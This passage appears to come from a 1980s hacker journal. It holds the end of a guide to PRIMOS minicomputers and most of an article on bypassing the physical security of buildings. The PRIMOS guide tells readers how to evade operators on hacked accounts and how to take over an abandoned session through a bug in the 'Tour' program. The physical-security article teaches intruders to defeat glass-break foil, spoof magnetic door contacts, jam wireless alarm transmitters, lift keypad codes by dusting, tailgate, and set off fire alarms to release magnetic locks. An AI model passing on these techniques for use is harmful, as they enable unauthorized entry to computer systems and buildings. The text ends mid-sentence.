be best to log off and +call back later, as the operators can perform the same command, and if they +know that user should not be on the system at that time, you will obviously be +kicked off. If there are 2 devices specified, the user is either receiving +output from a different device, sending input to that device, or has logged out +incorrectly (tsk tsk). + + To get a full status of memory and accounting, you would type "Status System" +This is usually in a Menu driven program, and you will get different options. +ie- Log of users, memory, devices, etc. + + We can access different priority levels by using the "CHAP" command. This is +the way we can find out what our priority level is. We would do: + +OK, CHAP UP + +OK, CHAP DOWN X or CHAP DOWN + + to return to your original priority level: + +OK, CHAP ORIGIN or CHAP DEFAULT + + Usually a user may leave his priority level rather low. You can then try to +raise your level. There should be 6 different priority levels. A 0 meaning +lowest, and 6 meaning highest. Here is a little diagram that will give you a +list of ID's and what most of them will have access to. + +Note: Some may have access to more or less than what I have written, but + the comments are accurate for most systems. + + !=================================================! + ! ID ! Comments ! + !=================================================! + ! GAMES !Allows user to view low level ! + ! !directories, and execute regular! + ! !commands. ie-CHAP, STATUS ! + !=================================================! + !

The most common range is 0-6. On some Primos +systems you can do a CHAP PRIORITY to see what the range is. + + Ok, we have checked priorities, and the system status. Lets move to +directories. To list a directory type "LD" short for List Directory. +This will list the directory you are attached to. In this case it +will be your home directory. You will get a list of files within your own +directory. To view someone elses directory you would type AT nameofdirectory. +Lets say we are logged into a DEMO account. And we would like to +view the files in the GAMES account. We could do either of the following: + +OK, AT GAMES + +This is telling the system we would like to default to the Games directory. +This is similar to the Set Default name on a VAX/VMS system. (See Lex Luthor's +Hacking VAX/VMS 3 part series for more information on VMS) + +or we could do + +OK, FUTIL +>AT GAMES + + This is the same thing, except in the first method you can still execute +Primos commands while still attached to the Games account. But when using +FUTIL (File UTILity program) you can only list, create and copy files. To get +out of the file utility program just hit a Control P. Here is a chart of file +types and how to execute them: + +------------------------------------------- +| File type | How to execute it | +=========================================== +| .CPL | CPL pathname | +| .SAVE | SAVE pathname | +| .SEG | SEG pathname | +| .BASICV | BASICV pathname | +| .TXT | SLIST pathname | +| .COM | CO pathname | +------------------------------------------- +Note: SLIST will also show the program lines of the file, whether it be a + CPL file or COM file. This is a good way to learn CPL (Command Procedure + Language). + + Most files will not have suffixes. To execute them type "Resume pathname", +filenames are called pathnames on PRIMOS. Unlike VMS, the PRIMOS system +doesn't have the type of file as a suffix. On some files you'll get the +suffix, but if not try: Resume pathname and that should execute the file, +especially files with an "*" preceding them. If a file is in the format of, +"*filename" do "Resume *filename". Usually basic files have an * preceding +their titles. + +To create a directory type: + +OK, Create directname [-password] [-access] + + A password can be from 1-6 letters, if I wanted to have a password on +my directory I would do- + +OK, Create directname [-limp] [-access] + + If you don't put in an access level, the directory will automatically be +set to ALL access. Here's a list of access rights: + + P = Protect a directory + D = Delete entries from directory + A = Add entries to directory + L = Read the contents within directory + U = Attach to a directory + R = Read contents of a file + W = Edit contents of a file + ALL = All of the Above^^^^^ + NONE = Denies all access + + Typically, if you are logged into a DEMO account your directory will be set +to ALL access. If it is, someone can attach to the demo directory and +do anything they want with it. Here is a list of accounts and what access +they will usually have on their directory. + + DEMO = ALL + GAMES = LUR + PRIME = ALL + SYSTEM = LUR + ADMIN = NONE + TEST = LUR + JBB = NONE + RJE = LUR + + Most directories have LUR access which is access to read contents of the +directory, attach to the directory, and read contents of a file. If +you have enough privileges (priority levels) you can do the following to +change the access rights: + +OK, Set_Access ALL [-LUR] + + This is setting access from ALL to LUR. ALL was the present access, now we +changed it to LUR. You should only do this if it's your own personal account +as changing access rights on hacked accounts could lead to your detection and +subsequent expulsion from the system. + + To create a file, preferably a text file, type "Mail pathname", then you will +be thrown into the Mail subsystem which I believe is version 3.1 now. You can +type in all the info you want, when finished hit a Control-P. It will ask you +for a pathname to save it to. Enter the name you would like. It will look +something like this: + +OK, Mail DOE + + Mail 3.1 +>Hello. This is your system operator. Any ideas on how to keep those +>pesky little computer criminals out of our system? +>Comments can be directed to SYSTEM. +Enter Filename: Pesky.Txt + +The above method is rather primative but works good if you are only creating a +text file. It is a common method used on version 18, and is easy to perform. +The other method is more common on version 19, and is commonly used today. + +OK, Create Test.Txt +OK, Ed + +EDIT +$ +Note: $ is not dropping you into DCL, so you DCL programmers are out of + luck (chuckle). + + From the $ prompt you can type 'help' to get a list of commands which can be +used in the Editor. + +$ (return) + + By hitting return we are given the "&" prompt, here we can input our +file. Or if you know CPL you can start programming. Do not hit return +on a blank line or you will be thrown into the main Editor prompt ('$'). + +& Hello this is Bif (the system operator) I am testing the Editor +& because we have added new enhancements. This is only a test. +& (return) + + Thus by hitting return we are given the $ prompt once again. To +save our file we can type- + +$ Save Test + + In this case the filename is test. The system will reply by saying +'Test Saved'. The file should be located at the end of the files list +when you List files. + + To make sure the contents are saved type "Slist Test.Txt", it will display +the text you typed in mail or the editor. A couple of important notes: + +1: Never use a "?" anywhere in the file, or it will erase all of the contents + in the file. +2: Never hit a c/r twice. In other words if you hit a c/r on a blank line the + system will recognize this as mail and will send it to the name you entered. + + If you want to make a basic program or basicv type "Basic" or "BasicV" +at the "Ok," prompt and you will be thrown into that language. If you +would like to make a CPL program you can enter it from the main prompt since +that is the default language for Primos. + + To delete a file just type "Delete filename". + + To get a list of directories with their ACLs (Access Control Lists) type +"List_Access". It would look something like this: + +OK, LIST_ACCESS + + ACL "": + + ADMIN : NONE + DEMO : LUR + SYSTEM : LUR + ROBERT : ALL + GAMES : LUR + PRIME : ALL + + + To get a listing of just files type "Listing", it will give you a list +of files in the directory you're attached to. The only difference between +this method and "LD" is that LD tells you what access rights is on that +directory. + + + + On some Prime systems you may find a program located within the Demo or Games +account. The name of the program is "Tour" and you can execute it by doing CPL +Tour. The program will be inputing commands and the system will execute them. + There is a bug within that program which can be used to your advantage. First +execute it by doing CPL Tour, once the program has begun it will have a couple +of pauses (while it is loading). First hit 3 Control P's. By doing this you +are breaking out of the program. Next, attach to the SYSTEM directory. Once +attached, SLIST the Tour program (Slist Tour). When it begins listing the file +do a Ctrl-P again. Now, go into the editor (ED). When you receive the $ +prompt hangup on the system. The system is now hung in the Editor, and the +Tour program is still executing (from the Demo or Games account). You must call +right back (and prey that the line hasn't been captured by a system operator). +You will be put right into the tour program, while it is being executed. You +will need no pw to login as you are attached right to it. You now have access +to write and read anything your little heart desires. If you plan on trying +this, do it at night, since you will most likely be the only one on the system. + Always do it on a 1 line system. Never on a Prime that is used constantly +(unless you have perfected this method). Remember to call right back after you +have hung up, or someone like BIF may call and wonder why he did not get the ID +prompt. So be careful. + + I also know different ways you can modify the tour program to have +a little fun (using CPL commands) but due to obvious reasons I will not +publicize the lines. If you are interested please get in contact +with me. + + + + To send a message to someone on the system type "Message username". It would +look something like this: + +OK, Message PRIME +Hi, can you tell me why the system was down last week. + +Note: Remember DON'T use ?'s. + + The user PRIME will receive the message, unless he's busy or has executed + command which refuses messages. It would look like this: + +OK, Message Prime +Hi, can you tell me why the system was down last week. + +User Prime not accepting messages + + If you do not receive that message then the user will get your message. This +is like Phone username on VMS, except on a VMS it looks better (chuckle). + + + + To send mail you type: "Mail xxxxx". If I wanted to send mail to user +SYSTEM, I would type "Mail System", I would be thrown into the mail subsystem. +To end a message hit a c/r on a blank line. You will be notified when you get +mail when you first logon. It will say "(mail waiting)". To read it type +"Mail". If you have no mail and you type Mail it will say "sorry no mail +today". Once again no ?'s are allowed or the contents of the mail will be +erased. + + + + Status followed by a topic will give you a system status on that topic. You +can get information on the following using Status- + +Status ALL = Information on who is logged in and devices. +Status DI = Information on devices, what devices are in use. +Status SYSTEM = Information on what version of Primos is being run. +Status NETWORK = Information on Netlink, and network nodes. + + There are others but these are probably the most important, and of course, +"Status Users" which I mentioned earlier, which will give you a list of users +currently logged in. + + + + Allows a user to change his password. It will look something like this: + +OK, Change_Password +Old Password:Z102345 +New Password: +Verification : + + Notice how new password and verification don't echo, this is for security +purposes so don't be alarmed. Changing passwords of hacked accounts is not a +good idea. We don't want to get detected now do we? + + + + Gives info on the system. ie-who it belongs to, what version its running +on and new features. + + + + Gives a list of languages the system supports. + + + + Gives a list of help commands and a small description. + + + + + By typing Netlink at the main prompt (OK,) you will be thrown into the +Netlink utility. Netlink is found on Primenet (which is the networking +software for Primes). Netlink is used to communicate with other remote +systems. You will find the netlink utility on most packet networks, since +there is much use for it there. Netlink can be accessed by all users on +the system. Once netlink is typed you will get a message, similar to: + +Netlink version x.xx +>(this being the main prompt) + + Once again on-line help is available if you have no idea what you are +doing. To call another system, you would use the NC xxxxxx format. +If you were on Telenet using Primenet supporting the Netlink utility you +could call any system on Telenet. For example if I wanted to call my +favorite VMS I would type- + +>NC 201111 + + 201111 being the address. You will get a pause for about 5 seconds and you +will be connected to the remote system. It is fairly slow, but it is +sufficient. The whole process would look something like this- + +OK, NETLINK + +Netlink [Version 1.x] + +>NC 201111 + + +Username: +Password: + + Username and Password shows that I have connected to the Vax running VMS. I +would log onto the remote system (the VMS in this case) like I would any other +time. Once I am done looking around on the remote system I can just logoff by +doing a Control P (this will put you back into the utility), or I could just +logoff properly by using the VMS logout command and be put back into the +Netlink utility program. + + If you ever receive the message "WILL NOT ACCEPT COLLECT CONNECTION" from a +system off of Telenet, you can just reverse the charges to the Prime you are on +and log onto the remote system. You can do this by using the NC format above. +This allows you to bypass the need for a Telenet ID. + + Netlink won't compare to something like DECNET but it gets the job done. +Remember if you aren't too sure what you are doing just type "help" for on-line +help. To exit the Netlink utility type "Quit" or just hit Control-P. This +will give you the main prompt once again. + + + + Toggles upper and lower case. + + + +Control S = Pauses Text +Control P = Aborts Text or Utility +Control Q = Resumes Text + + + + If you gain access to Primos supporting on-lines games, which can be found by +(AT)taching to the Games directory. There may be a game called "FRITZ", it's a +fun game dealing with questions on the Primos system. It can also test your +knowledge on the system. + + Usually if a person hangs up on the system without properly logging off you +may be able to call the system and be attached to that account. This usually +works on systems with one line. I called a Primos one day and was attached to +a system account modifying a config program. It was interesting... + +There are many Prime systems on Telenet so I suggest getting ahold of the +updated LOD/H Telenet Directory from Issue I and jot down a few. Preferably +Primenet, since they support the Netlink utility. + +============================================================================ + +Here's a list of some major differences between PRIMOS version 18.x.xx and +Version 19.x.xxx + + 1. Version 19 supports Access Control Lists, which allows the user to set a + specific access right on his/her directory. + 2. Version 19's security has been tightened. A user will be prompted with + the password prompt. A user is usually allowed only 1 unsuccessful login, + if the ID or password is incorrect the user will be logged off. + 3. Once a user has tried to execute a command/file without sufficient + access rights he will be logged off of the system. The account will + automatically be suspended until an operator has contacted the user. + 4. Users have to change their password every 30 days. + 5. The "CHAP" command can be executed by users to toggle their priority + level. + 6. Netlink has been enhanced with more commands. + 7. A primary password may be used for better security. + 8. After logging out you will be disconnected from the system, rather + than prompted with the ER! prompt. + 9. Dec VT132 is the commonly used operator terminal on version 19. +10. There have been new enhancements to the editor. +============================================================================= + + As you can see, PRIMOS is a very versatile system. It's not very popular +among hackers since there hasn't been too much information released on it. +Most commands will be the same on version 18, if not just execute the Help +file. The final element to PRIMOS will be alarm (it will be similar to the one +on VMS). I will go a little more in-depth on the ALARM system in Part II (I +will have more information on it, and by that time it will be inserted in later +revisions of version 20). Basically the alarm will record all unsuccessful +logins and will alert the operator at the terminal. The alarm will be a +standard part of PRIMOS and can not be shut on and off, from a reliable source, +the alarm may come in a different package. +============================================================================= + +Part II: I will discuss new commands, creating accounts, go more in-depth on + the Netlink utility, and any other changes in PRIMOS Version 20. + + +Until then.... + +You can reach me via the TJ staff account, for questions, requests for more +information, and corrections to this article. +The LOD/H Technical Journal: File #5 of 10 (ISSUE #2) + + + Lex Luthor and The Legion Of Doom/Hackers Present: + + Identifying, Attacking, Defeating, and Bypassing + Physical Security and Intrusion Detection Systems + + PART II: THE EXTERIOR + + + +INTRODUCTION: +------------- + +The 'exterior' refers to the area directly outside of a building and the things +within the building which are on the exterior. These obviously are: doors, air +conditioning ducts, windows, walls, roofs, garages, etc. I don't believe the +word 'exterior' is the exact definition of what this article will encompass, +unlike the 'perimeter', but it's the best I could come up with. This article +primarily is of an informative nature, although methods of "attacking, +defeating, and bypassing" will be explained. Its purpose is not specifically to +encourage you to breach a facility's security, although I acknowledge that it +could be used as such. Some of the devices mentioned in the physical security +series are used in homes as well as corporate, industrial, and military +installations, but my aim is specifically towards the commercial aspect of +buildings, not homes and apartments. Entering a facility to obtain information +such as passwords or manuals is one thing, breaking into someones' home to +steal their personal belongings is another. + + +THE EXTERIOR: +------------- + +A facility's second line of defense against intrusion is its' exterior. The +exterior may have any or all of the following: + +* Window breakage detectors + +* Keypad systems + +* Card access control systems + +* Magnetic locks and contacts + +* Security lighting and CCTV + +CCTV which is also used, was mentioned in Part I: The Perimeter. +Card Access Control devices will be mentioned in Part III: The Interior. + + +WINDOWS: +-------- + +Windows are a large security hole for buildings. You may notice that many phone +company buildings and data processing centers have few if any windows. There +are two things that can be done to secure windows aside from making sure they +are locked. One is to make them very difficult to break, and the other is to +detect a break when and if it occurs. Here is a quick breakdown of the common +types of glass/windows in use today: + +Plate glass: Can be cut with a glass cutter. +Tempered: Normally can't be cut. Breaks up into little pieces when broken. +Safety: You need a hatchet to break this stuff. +Wire: This has wire criss-crossed inside of the glass, making it very hard to +break, and even harder to actually go through the opening it is in place of. +Plexy: Very hard to break, doesn't really shatter, but can be melted with the +use of a torch. +Lexan: This is used in bulletproof glass. One of the strongest and most secure +types of glass. +Herculite: Similar to Lexan. + + +Foil tape: +---------- + +This is by far the most common, and probably the most improperly installed form +of glass breakage detection, which also makes it the most insecure. This is +usually a silver foil tape about 5/16" wide which should be placed on the whole +perimeter of a glass window or door. In the case of plexyglass or a similar +material, the tape should be placed in rows separated by 6-12 inches. + +The older foil was covered with a coating of eurathane or epoxy which enabled +it to stick onto the glass. The newer foil has an adhesive back making +installation much easier. There should be two connectors which are located at +the upper top part of a window, and the lower part of the window which connects +the foil to the processor, thus, completing the circuit. Foil may or may not +have a supervised loop. If it is supervised, and you use a key to scratch the +foil (when it is turned off) making a complete break in it, an alarm will sound +when it is turned on. + +Foil is commonly used as a visual deterrent. Many times, it will not even be +activated. The easiest way to determine if the facility is trying to 'B.S.' you +into thinking they have a security system, is to see if there are any breaks +in the foil. If there is a clean break, the 6-12V DC current which is normally +making a loop isn't. Thus, breaking the glass will do nothing other than make +some noise unless you take steps against that happening. + +As was stated, foil is the most improperly installed type of glass breakage +detection. When it is installed improperly, it will not cover all the area it +should. An easy way to defeat this is by the following diagram: + ++-------------+ +! ........... ! +! . . ! . = foil tape +! . put . ! - = top/bottom of door +! . contact . ! ! = sides of door +! . paper . ! / = dividing line between 2 pieces of contact paper +! . in . ! $ = ideal places for initial breakage +! . this +-! ' = clear area or outline of second piece of contact paper +! . area ! ! <-- door handle +! . +-! +! . . ! +! ........... ! +!/////////////! +!'''''''''''''! +!' '! +!$'''''''''''$! ++-------------+ + + +As you can see, the installer neglected to place the foil all the way down to +the bottom of the glass door. There is enough room for a person to climb +through. They may have thought that if someone broke the glass, it would all +break, which is normally correct. But if you obtain some strong contact paper, +preferably clear, adhere it to the glass as shown, and break the bottom part at +the '$' it will break up to the '/' line and thats it. Thus, leaving the foil +in-tact. This will work on tempered glass the best, and will not work on Lexan +or Plexyglass. There is a transparent window film with a break strength of up +to 100 pounds per square inch which can be obtained from Madico, Inc. It is +called, Protekt LCL-400 XSR, and makes glass harder to break and stays +essentially in place even when broken. This can be used in place of the contact +paper. Obviously, it is also used to protect glass from breakage. + +Audio discriminators: +--------------------- + +What these do is to compare the frequency of the sound that glass makes when it +breaks, to the actual breakage of glass. This frequency is relatively unique, +and can accurately determine when and if glass actually breaks. Your best shot +at defeating this, is to do the same thing as mentioned above. Cover the glass +with a film which will keep the glass in place after breaking it. If you break +it properly, the frequency will not match that of glass breaking when it is not +held in place. + +Glass shock sensors: +-------------------- + +These devices detect shock disturbances using a gold-plated ring that "bounces" +off a pair of normally closed gold-plated electrical contacts. This will send +a signal to a Signal Processor (SP) which determines whether an alarm condition +exists. There are two settings the SP can be set to which are: + +SHOCK-BREAK: This mode requires an initial high energy shock, followed by a +very low engery shatter. The shatter must occur within about 1 second before +an alarm can occur. + +SHOCK-ONLY: An alarm will occur once the first shock is detected. This may or +may not be accompanied by a shatter. + +Obviously the more secure setting for a facility would be shock-only. Though, +both are equally dangerous for an intruder. The methods mentioned earlier about +preventing the glass from shattering will not work when this device is used in +the shock-only mode. It may work, depending on the type of glass, if it isn't +in the shock-break mode. + +These devices are usually found protecting large plate glass and multi-pane +windows. They are roughly 2 inches by 1 inch and can be mounted on the frame of +a window, between two windows, or on the glass itself. These sensors can cover +up to 150 square feet of glass. + +These are the best of the lot for window breakage detection. Most devices have +a constantly supervised loop, and if you cut a wire, that loop will break, and +cause an alarm condition. They are typically placed somewhere on the window +pane and not on the window, thus, making them harder to visually detect...from +the outside that is. Though from close inspection, you may be able to determine +if these are in place. Obviously they can easily be seen from the inside... + +The sensor is normally placed no more than a couple of inches from the glass. +If it is too far away, or if you can move one over 4 inches from the glass, its +detection capability is somewhat diminished. It is probably screwed in, and has +an adhesive backing, so moving it may not be too easily accomplished. False +alarms are not common, unless the windows rattle. There are sensors available +which are not as sensitive, and will not "overreact" to slight vibration, these +are called "damped" sensors. + + +MAGNETIC CONTACT SWITCHES: +-------------------------- + +The word "contact" is somewhat contradictory to how these devices are commonly +used. In most cases, the magnet and the switch are not in physical contact of +each other, rather, they are in a close proximity of each other, although +there are some models which are indeed in contact with each other. There are +various types and levels of security that these devices possess. + +They can be surface mounted (floor or wall mounted) or concealed (recessed). +The most common are surface mounted which are placed on top of the door. When +inspecting for these devices, examine the whole perimeter of the door, from top +to bottom. Most doors have a +/- 1/4" gap all the way around, in which you +should also check for concealed contacts. These are round cylinders that are +recessed into the door or wall, which obviously makes them less visible. The +other contacts range from miniature, with dimensions as small as 1x1/4x1/4" +to the larger ones at 5x2x1". They are usually in colors of off-white, grey, +and brown and are mounted with nails, screws, double sided tape, or are epoxied +onto the door or wall surface(s). The switches are hermatetically sealed, as +are the glass breakage detectors mentioned earlier, can operate in moist or +dusty areas, are corrosion resistant and have indoor/outdoor use. They can also +be used on windows, fence gates, truck trailors, boats, heavy equipment, safes, +and vaults. + +The different types of devices in order of least to most secure are: + +1) Standard Magnetic Contacts: These consist of one reed switch and one magnet. + They may be defeated with the use of a second magnet which would be placed + in the vicinity of the switch, while opening the door or window and while + closing them also. This way, the switch never detects the abscense of the + magnet, thus, no alarm occurs. + +2) Biased Magnetic Contacts: These consist of one reed switch with a "biasing" + magnet that changes the state of the reed switch. The magnet is then placed + at the correct distance to offset the bias magnet, creating a "balanced" + condition. The switch can be defeated with the use of a single magnet. The + trick is to: + + A) You must have the correct size magnet, which can be accomplished by + obtaining the same type or model as what is in place. + + B) You must determine the correct polarity which may be accomplished with + either a compass, or if the alarm is not activated, (possibly during + normal business hours), by opening the door and placing your magnet + near the device's magnet and determine the polarity. If you do not have + much time, then its a 50-50 shot. + + C) The last criteria is to keep the magnet at the same or close to the + same distance from the switch as the original magnet was. In some cases + the device will be placed in such a manner that correct placement of + the second magnet will be difficult if not impossible. + +3) Balanced Magnetic Contacts: These consist of one biased reed switch and one + unbiased reed switch. The second reed will be of the correct sensitivity + and position so as to not operate with the actuator magnet. It must also + operate with the addition of a second magnet. It could be defeated by a + single magnet that is moved into place as the door is opened. This requires + coordinated movement of the door and magnet. + +4) Preadjusted Balanced Magnetic Contacts: These consist of three biased reed + switches and may have an optional fourth tamper reed. Two reeds are + polarized in one direction and the third is polarized in the opposite + direction. The housing consists of three magnets with the polarity that + corresponds to the switches. It is preadjusted to have a fixed space between + the magnet and the switch. This is the most secure type of magnetic contact + switch. The three-reed type could be defeated by using one of its own + magnets, but not a bar magnet. The type with four reeds cannot be defeated + with either of the two magnets because the fourth reed will activate when + a magnet is brought within actuating distance. If you are able to determine + which is the tamper reed, you can try to keep the three magnets in contact + with the corresponding reeds. At the same time you must have the correct + polarity, and in the process, not activate the tamper reed. If you + accomplish those, you may be able to defeat it. This will most likely + require two people and a bit of luck. + + The most secure devices are made of die cast aluminum instead of plastic, + are explosion proof (for vaults and safes), have terminals mounted inside + the housing which provides protection from tampering and shorting, and have + armored cabling. + + +A wider break distance will prevent fasle alarms due to loose fitting doors, +thus, if the door is loose fitting it may have a wide break distance. The wider +the break distance, the easier it is to defeat. This will allow you to +introduce another magnet in cramped places since the door can be opened a wider +distance before an alarm condition occurs. + +Some devices allow the installer to adjust the gap with a screwdriver instead +of placing the switch a certain distance from the magnet. In some devices, use +of any ferrous (Iron) material in the vicinity of the switch can cause a change +in gap distance. As a gap is increased, the switch may bias and latch. When +latched, the switch will remain closed even when the magnet is removed!! This +means that when you open the door, it thinks that the door is closed, and you +are able to stealthily go thru the door. You can test for a latched condition +by removing the magnet (opening the door) and using a Volt Ohm Meter, if it +reads INFINITY, the switch is OK. If not, it may be latched. If you can adjust +the gap to the point of it being latched, without being noticed, you've got it +made. + + +Wireless Switch Transmitters: + +These are essentially the same as the other devices mentioned except that they +use an FM digital signal for alarm conditions (a door or window open) and for +maintenance conditions (low battery, transmitter malfunction/removal, long term +jamming, etc). There should be continuous polling and a maintenance alarm will +occur if the signal is missing for a few minutes. The transmitters are usually +powered by a couple of AAA 1 1/2V pen cells, which can last a few years. Most +devices will send out a signal after a specific interval. Common intervals are +about every 30 seconds. You can verify if the device is indeed sending out a +signal by placing a milliammeter capable of reading 10 ua in series with the +batteries and reading the discharge current. If it occurs every 30 seconds, +then it is sending out a signal every 30 seconds. A hint that this type of +device is in use, is since range generally decreases as a transmitter gets +closer to the floor, the transmitter will be placed as high as possible. The +transmitter probably has a range of about 200 feet, although some environments +may reduce this range due to construction materials inherent in the building. +The frequency should be in the 314 MHz range. + +As was mentioned, these are the same as regular magnetic contact switches +except that there is a transmitter instead of a wire for transmitting alarm and +maintenance conditions, thus, the switch can be defeated in the same manner as +has been previously stated. Defeating an X-mitter is much easier than defeating +a wire. You can defeat the transmitter if you can sufficiently block or +diminish the signal strength so that the receiver is unable to receive it. +Radio waves have a tendency to bounce and reflect off of metallic surfaces, +which includes foil, and pipes. If you have located the transmitter, which +should be attached to or near the actual contact, you can block or jam the +signal as you open the door. Hopefully this will be between the 30 second +interval that it sends an "i'm ok" signal to the receiver, but it's not +critical to do so. As was stated, most receivers will not cause an alarm +condition if it doesn't recieve a signal once or twice, but after a few minutes +it will. So, as you open the door, it tries to send the signal, you block or +jam it, and you slip through without detection. + +This information can also apply to security relating to the 'interior' of a +facility, ie. Part III of this series. Many of the techniques for defeating +magnetic contact switches are geared toward being inside the facility. Many +facilities have switches on doors to monitor movement of personnel within the +facility. But it also is used on the exterior and some methods will work on +doors and possibly windows on the exterior. Of course, you have to have a way +of opening the door, and that follows. + + +DOORS AND LOCKS: +---------------- + +As you know, doors are the primary entrance point into a building. Since they +are the primary target for unauthorized entry, they have the most security +added. I am not going to mention anything about the art of picking locks. +Although mechanical locks and keys have been the most common type of security +used in the past as well as today, I am going to concentrate on the more +advanced security systems in use. + + +Pushbutton keypad locks: +------------------------ + +There are two types, mechanical and electronic. I will go into detail about +each. I will give you a few examples of these devices which comes directly from +brochures which I have been sent. I am merely summing up what they said. + + +Electronic: + + +Securitron DK-10: + +This is a unit which has dimensions of 3x5x1". It has a stainless steel keypad +which is weatherproof, mounts via hidden screws and has no moving parts. The +keypad beeps as each button is pressed, and an LED lights when the lock is +released. It is slightly different in appearence than most other electronic +keypads: + ++----+ +! 1A ! Each block (1A/B2) is one button. Thus, there are 5 buttons total on +! B2 ! this device. The "/"'s at the bottom of the device represents the name +! ! of the company and possibly the model number of the device. +! 3C ! (ie. Securitron DK-10). It has 2-5 digit codes. Thus, a 2 digit code +! D4 ! will have a maximum of 5 the the 2nd power (5 squared=25) combinations. +! ! Of course it increases as the number of digits used increase. +! 5E ! This unit has an 11 or 16 incorrect digit threshold. If it is reached +! F6 ! a buzzer sounds for 30 seconds during which it will ignore any entries. +! ! When a valid code is entered, the lock is released for a 5, 10, 15 or +! 7G ! 20 second interval. +! H8 ! +! ! +! 9K ! +! L0 ! +! ! +!////! +!////! ++----+ + + +Sentex PRO-Key: + +This device has a keypad resembling one of a payphone. It is a sealed, chrome +plated metal keypad. It has the standard 10 digits with * and #. It can have +up to 2000 individual codes with a lenght of 4 or 5 digits. It allows 8 time +zones, "2-strikes-and-out" software which is its invalid code threshold, and +anti-passback software. + + +Obtaining codes-- +Your aim is to obtain the correct code in order to open the door. Plain and +simple. There are various methods in which you can accomplish this. You can try +to obtain a telescope or similar device and attempt to get the exact code as it +is being entered. This is obviously the quickest method. If you cannot discern +the exact code, the next best thing is to determine exactly how many digits +were entered, since most devices have variable code lengths. If you can make +out even one digit and when it was entered, you will substantially reduce the +possibilities. Another method is to put some substance on the keypad itself, +which preferably cannot be noticed by the user. After someone enters a code, +you can check the keypad to see where there are smudges or if you use what the +police use to find fingerprints, you can see what digits were pushed, although +you will have no idea in what order. This will drastically cut down the combos. +Say that someone enters a 5 digit code on a 10 digit keypad. You check the +keypad and see that, 1,2, 4, 7, and 9 were pushed. If you attempted brute +force, you will have 25 combinations to try. If a 4 digit code 'appeared' to be +entered, as 0, 2, 4, 8 were 'smudged', it is possible that one of the digits +were pushed twice. Keep that in mind. A way to know for sure would be to clean +the pad and 'dust' it, most fingerprints will be clear, but one will be less +clear than the others. Thus, you can be reasonably sure that the digit which is +smudged was pressed twice. + +Thresholds-- +Brute force attempts on electronic keypads is suicide. Once a certain number of +invalid attempts has been reached, it will probably be logged and a guard may +be dispatched. Your best bet is to try once or twice, wait (leave), try once +or twice again, wait, etc. Sooner or later you will get in. + +Auditlogs-- +Many of these devices are run on micro's. The software that runs these devices +allows for an increased ability to monitor the status of these devices. They +can track a person throughout the facility, record times of entry and exit, +and when the maximum invalid code threshold is reached. + +Anti-passback-- +This term is commonly used in card access control, but it applies differently +to keypads. This feature prevents the use of two codes being used at the same +time. That is, Joe Comosolo uses code #12345 and enters the building. Then, +you enter Mr. Comosolo's code, #12345 but the system knows that Joe is already +in the building, and has not entered his code before leaving. Thus, you do not +gain access, and that action is most likely recorded in the audit log. This +option will only be in effect when: + +1) Each individual has a different code. + +2) There is a keypad used for entry, and a keypad used for exit. + + +Tailgating-- +This occurs when more than one person enters through a controlled access point. +Joe enters his code, and goes into the building. You follow Joe, and make it +in just before the door closes, or in the case of the devices waiting 10 or 20 +seconds before the door locks again, you let it close, and open it before it +locks. + +Open access times-- +During peak morning, noon, and evening hours, a facility may set the system to +not require a code during, say, 8:55AM to 9:05AM, thus, enabling most anyone to +gain entry during that time. + + +Hirsch Electronics Digital Scrambler: + +This has a 12 button arrangement with the addition of a 'start' key. This is +probably the most secure type of keypad security system in use today. It only +allows a viewing range of +/- 4 degrees horizontally and +/- 26 degrees +vertically. This means that it would be very difficult to watch someone enter +their code, thus, eliminating the 'spying' technique mentioned earlier. +The buttons on the keypad remain blank until the start button is pressed. Then, +instead of the numbers appearing in the usual order, they are postitioned at +random. A different pattern is generated each time it is used. The numbers are +LED's in case you were wondering. This eliminates the 'dusting' technique which +can be used on the other types of keypad systems. + +The Model 50 allows control of 4 access points and has 6 programmable codes. +The Model 88 controls 8 doors and has thousands of codes. The features that +this device has makes it very difficult to do anything but use brute force to +obtain the code, but since it is controlled and monitored by a computer, the +audit logs and maximum invalid code threshold can put a stop to that method. +The other alternative, which applies to any of these systems, is to socially +engineer the code from someone, or if you know someone, they may give you it. +Both methods are not ideal. I have come up with a way to reduce the +possibilities to a very reasonable level, but I will not explain it here. If +you are really interested, contact me via the LOD/H Technical Journal Staff +account on the Sponsor boards. + + +Mechanical Keypad locks: + +The best thing about these types of locks, is that they are 100% mechanical. +This means that it is not computerized, and there is no monitoring of bad codes +or the door staying open for too long, or anything! All you have to worry about +is getting a correct code. Probably the largest manufacturer of these devices, +is Simplex Security Systems, Inc. The devices are called, Simplex Keyless +Locks. Every lock of theirs that I have seen, has 5 buttons. Combinations may +use as many of the five buttons the facility cares to use. The biggest problem +with this type, is that there is the option of pushing 2 buttons at the same +time, which would be the same as adding another button to the lock. Thus, +button 1 & 5 can be pushed simultaneously, then button 3, then buttons 2 & 4 +would be pushed at the same time. + +These are supposedly, 'keyless locks' but on many models, a 'management key' +can be used to override the security code, so obtaining the key, is a way to +bypass the code. Both the spying and dusting methods apply to these devices, +and the best thing is that you can try all possiblities you want without an +alarm signalling. + + +Magnetic locks: +--------------- + +These are commonly called 'Magnalocks' and use only the force of electro- +magnetism to keep a door shut. Typically, the magnet is mounted in the door +frame and a self aligning strike plate is mounted on the door. These locks +provide the capability of up to a few thousand pounds of force for security. +They are not only found on doors, but can be put on sliding doors, glass doors, +double doors and gates. The magnet and plate is roughly 3 inches by 6-8 inches. + +There are a few things you should try to findout about these devices before +attempting anything: + +Is there backup power? (ie. Usually a 12-24V battery can be used) Obviously, if +there is no backup power and there is a power outage, there will be nothing to +stop you from opening up the door. + +Most devices have the capability to monitor whether the door is closed, which +is what magnetic contact switches do. But there is another option, which will +provide a voltage output signal on a third wire, which determines whether the +lock is powered and secure. If there is no monitoring of whether the door is +secure, then there is no way of knowing it is locked, unless it is physically +checked. There are optional LED's which can be mounted on the lock to indicate +its status. For the Securitron Magnalock, an amber LED will indicate that the +lock is powered. A green light shows the lock is powered and secure. Red, shows +that the lock is unlocked, and no light means there is a violation, ie. the +power switch is on, but the lock is not reporting secure. You can use these +lights to your advantage. + +If a magnalock is tied into a fire alarm system, such that it is automatically +released in the event of fire, then you or an accomplice can signal a fire +alarm and sneak in while the lock releases. + + +MISCELLANEOUS: +-------------- + +LED's: Some devices or models of devices have LED lights built into/onto the +device. They are usually used to indicate a secure or insecure condition. +This applies to magnetic contacts, shock sensors, and other devices. Even when +the security system is not in a secure mode, (for example, during regular +business hours a system may be off, but after 6pm it is turned on) the LED will +light when an alarm condition occurs. For example, you bang on a window that +has a shock 